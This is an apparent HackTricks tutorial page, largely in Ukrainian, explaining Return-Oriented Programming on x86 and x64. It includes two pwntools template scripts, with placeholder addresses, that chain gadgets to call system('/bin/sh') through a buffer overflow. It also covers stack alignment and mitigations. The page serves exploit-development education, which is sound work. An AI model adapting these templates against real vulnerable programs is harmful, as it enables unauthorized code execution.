ROP - Return Oriented Programing

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Return-Oriented Programming (ROP) - це просунута техніка експлуатації, що використовується для обходу заходів безпеки, таких як No-Execute (NX) або Data Execution Prevention (DEP). Замість того, щоб інжектувати та виконувати shellcode, зловмисник використовує фрагменти коду, які вже присутні в бінарному файлі або в завантажених бібліотеках, відомі як "gadgets". Кожен gadget зазвичай закінчується інструкцією ret і виконує невелику операцію, таку як переміщення даних між реєстрами або виконання арифметичних операцій. Поєднуючи ці gadgets, зловмисник може створити payload для виконання довільних операцій, ефективно обходячи захисти NX/DEP.

Як працює ROP

  1. Перехоплення потоку управління: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай експлуатуючи переповнення буфера, щоб перезаписати збережену адресу повернення в стеку.
  2. Поєднання gadgets: Потім зловмисник обережно вибирає та поєднує gadgets для виконання бажаних дій. Це може включати налаштування аргументів для виклику функції, виклик функції (наприклад, system("/bin/sh")) та обробку будь-яких необхідних очищень або додаткових операцій.
  3. Виконання payload: Коли вразлива функція повертається, замість повернення до легітимного місця, вона починає виконувати ланцюг gadgets.

Інструменти

Зазвичай gadgets можна знайти за допомогою ROPgadget, ropper або безпосередньо з pwntools (ROP).

Приклад ROP Chain в x86

x86 (32-біт) Конвенції виклику

  • cdecl: Викликач очищає стек. Аргументи функції поміщаються в стек у зворотному порядку (з правого на лівий). Аргументи поміщаються в стек з правого на лівий.
  • stdcall: Схоже на cdecl, але викликана функція відповідає за очищення стека.

Пошук gadgets

Спочатку припустимо, що ми визначили необхідні gadgets у бінарному файлі або його завантажених бібліотеках. Gadgets, які нас цікавлять:

  • pop eax; ret: Цей gadget витягує верхнє значення стека в регістр EAX і потім повертається, дозволяючи нам контролювати EAX.
  • pop ebx; ret: Схоже на попередній, але для регістра EBX, що дозволяє контролювати EBX.
  • mov [ebx], eax; ret: Переміщує значення в EAX у пам'ятеву адресу, на яку вказує EBX, і потім повертається. Це часто називається write-what-where gadget.
  • Крім того, у нас є адреса функції system().

ROP Chain

Використовуючи pwntools, ми готуємо стек для виконання ROP chain наступним чином, намагаючись виконати system('/bin/sh'), зверніть увагу, як ланцюг починається з:

  1. Інструкції ret для вирівнювання (необов'язково)
  2. Адреси функції system (припускаючи, що ASLR вимкнено і libc відома, більше інформації в Ret2lib)
  3. Заповнювач для адреси повернення з system()
  4. Адреса рядка "/bin/sh" (параметр для функції system)
python
from pwn import * # Assuming we have the binary's ELF and its process binary = context.binary = ELF('your_binary_here') p = process(binary.path) # Find the address of the string "/bin/sh" in the binary bin_sh_addr = next(binary.search(b'/bin/sh\x00')) # Address of system() function (hypothetical value) system_addr = 0xdeadc0de # A gadget to control the return address, typically found through analysis ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address # Construct the ROP chain rop_chain = [ ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues system_addr, # Address of system(). Execution will continue here after the ret gadget 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() ] # Flatten the rop_chain for use rop_chain = b''.join(p32(addr) for addr in rop_chain) # Send ROP chain ## offset is the number of bytes required to reach the return address on the stack payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • Використовує System V AMD64 ABI викликову конвенцію на Unix-подібних системах, де перші шість цілочисельних або вказівних аргументів передаються в регістри RDI, RSI, RDX, RCX, R8 та R9. Додаткові аргументи передаються на стек. Значення повернення розміщується в RAX.
  • Windows x64 викликна конвенція використовує RCX, RDX, R8 та R9 для перших чотирьох цілочисельних або вказівних аргументів, з додатковими аргументами, що передаються на стек. Значення повернення розміщується в RAX.
  • Регістри: 64-бітні регістри включають RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP та R8 до R15.

Finding Gadgets

Для наших цілей зосередимося на гаджетах, які дозволять нам встановити регістр RDI (щоб передати рядок "/bin/sh" як аргумент для system()) і потім викликати функцію system(). Ми припустимо, що ми ідентифікували наступні гаджети:

  • pop rdi; ret: Витягує верхнє значення зі стека в RDI і потім повертається. Важливо для встановлення нашого аргументу для system().
  • ret: Просте повернення, корисне для вирівнювання стека в деяких сценаріях.

І ми знаємо адресу функції system().

ROP Chain

Нижче наведено приклад використання pwntools для налаштування та виконання ROP-ланцюга, що має на меті виконати system('/bin/sh') на x64:

python
from pwn import * # Assuming we have the binary's ELF and its process binary = context.binary = ELF('your_binary_here') p = process(binary.path) # Find the address of the string "/bin/sh" in the binary bin_sh_addr = next(binary.search(b'/bin/sh\x00')) # Address of system() function (hypothetical value) system_addr = 0xdeadbeefdeadbeef # Gadgets (hypothetical values) pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary # Construct the ROP chain rop_chain = [ ret_gadget, # Alignment gadget, if needed pop_rdi_gadget, # pop rdi; ret bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() system_addr # Address of system(). Execution will continue here. ] # Flatten the rop_chain for use rop_chain = b''.join(p64(addr) for addr in rop_chain) # Send ROP chain ## offset is the number of bytes required to reach the return address on the stack payload = fit({offset: rop_chain}) p.sendline(payload) p.interactive()

У цьому прикладі:

  • Ми використовуємо pop rdi; ret гаджет, щоб встановити RDI на адресу "/bin/sh".
  • Ми безпосередньо переходимо до system() після встановлення RDI, з адресою system() в ланцюгу.
  • ret_gadget використовується для вирівнювання, якщо цільове середовище цього вимагає, що є більш поширеним у x64 для забезпечення правильного вирівнювання стеку перед викликом функцій.

Вирівнювання стеку

x86-64 ABI забезпечує, що стек вирівняний на 16 байт, коли виконується інструкція виклику. LIBC, для оптимізації продуктивності, використовує інструкції SSE (такі як movaps), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (тобто RSP не є кратним 16), виклики функцій, таких як system, зазнають невдачі в ROP ланцюзі. Щоб виправити це, просто додайте ret gadget перед викликом system у вашому ROP ланцюзі.

Основна різниця між x86 та x64

tip

Оскільки x64 використовує регістри для перших кількох аргументів, він часто вимагає менше гаджетів, ніж x86 для простих викликів функцій, але знаходження та з'єднання правильних гаджетів може бути більш складним через збільшену кількість регістрів і більший адресний простір. Збільшена кількість регістрів і більший адресний простір в архітектурі x64 надають як можливості, так і виклики для розробки експлойтів, особливо в контексті Return-Oriented Programming (ROP).

Приклад ROP ланцюга в ARM64

Основи ARM64 та викликові конвенції

Перевірте наступну сторінку для цієї інформації:

Introduction to ARM64v8

Захист від ROP

  • ASLR & PIE: Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконаннями.
  • Stack Canaries: У випадку BOF, потрібно обійти зберігання canary стеку, щоб перезаписати вказівники повернення для зловживання ROP ланцюгом.
  • Брак гаджетів: Якщо недостатньо гаджетів, не буде можливості згенерувати ROP ланцюг.

Техніки на основі ROP

Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:

  • Ret2lib: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на кшталт system('/bin/sh').

Ret2lib

  • Ret2Syscall: Використовуйте ROP для підготовки виклику до системного виклику, наприклад, execve, і змусьте його виконати довільні команди.

Ret2syscall

  • EBP2Ret & EBP Chaining: Перший буде зловживати EBP замість EIP для контролю потоку, а другий подібний до Ret2lib, але в цьому випадку потік контролюється переважно адресами EBP (хоча також потрібно контролювати EIP).

Stack Pivoting - EBP2Ret - EBP chaining

Інші приклади та посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks